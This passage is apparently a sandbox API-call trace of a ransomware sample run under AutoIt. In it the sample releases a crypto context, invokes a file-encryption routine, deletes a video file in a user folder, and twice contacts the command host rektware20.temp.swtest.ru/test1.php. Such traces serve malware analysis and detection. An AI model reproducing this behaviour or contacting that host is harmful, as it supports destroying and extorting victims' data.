wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0067.697] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.698] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.698] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.698] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.698] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.698] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.698] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.698] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.698] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.698] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.698] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.698] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.698] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0067.698] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.698] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.698] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.698] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.698] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.698] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.698] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0067.699] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0067.699] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0067.699] CryptReleaseContext (hProv=0x17aaa28, dwFlags=0x0) returned 1 [0067.699] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.699] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.699] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.699] FreeLibrary (hLibModule=0x74c60000) returned 1 [0067.699] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.699] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.699] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.699] CloseHandle (hObject=0x2ac) returned 1 [0067.701] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.701] CloseHandle (hObject=0x3bc) returned 1 [0067.708] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.708] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.708] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi", lpFilePart=0x0) returned 0x3a [0067.709] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly\\rfk74uah.avi")) returned 0x20 [0067.709] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c4f0 [0067.709] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\Rfk74uAh.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\elhb95brq rnakly\\rfk74uah.avi")) returned 1 [0067.712] FindNextFileW (in: hFindFile=0x164c4f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0067.713] FindClose (in: hFindFile=0x164c4f0 | out: hFindFile=0x164c4f0) returned 1 [0067.713] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.713] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.713] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.713] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.713] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0067.713] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0067.713] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.713] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0067.713] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0067.713] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0067.713] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0067.713] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620fa0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620fa0, lpdwBufferLength=0x130ef8c) returned 1 [0067.713] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0067.714] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0067.714] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0067.715] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0067.715] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0067.715] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0067.715] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629280, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629280*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0067.715] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0067.715] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0067.718] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0067.718] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0067.718] CloseHandle (hObject=0x0) returned 0 [0067.718] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.718] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.718] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.718] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.718] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.718] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.718] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.718] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.718] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.718] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.718] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.718] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.718] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.718] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="5BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Rq rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rnAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nAklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AklY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="klY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="lY\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wwAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="wAGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="AGXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="GXyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.719] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XyXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yXvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XvOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vOmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OmvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mvvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vvjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vjE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jE Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="E Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0067.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Z1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1.swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0067.720] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="swf", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.720] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.720] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0067.720] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.720] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0067.720] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0067.720] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0067.720] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0067.720] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0067.720] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1621018, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1621018, lpdwBufferLength=0x130ee1c) returned 1 [0067.720] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0067.720] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0067.721] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0067.723] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0067.723] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0067.723] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0067.723] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629180, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629180*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0067.723] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629510, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x1629510*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0067.723] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0067.724] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0067.724] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0067.724] CloseHandle (hObject=0x0) returned 0 [0067.724] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.724] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\elHB95BRq rnAklY\\wwAGXyXvOmvvjE Z1.swf", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0067.724] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) 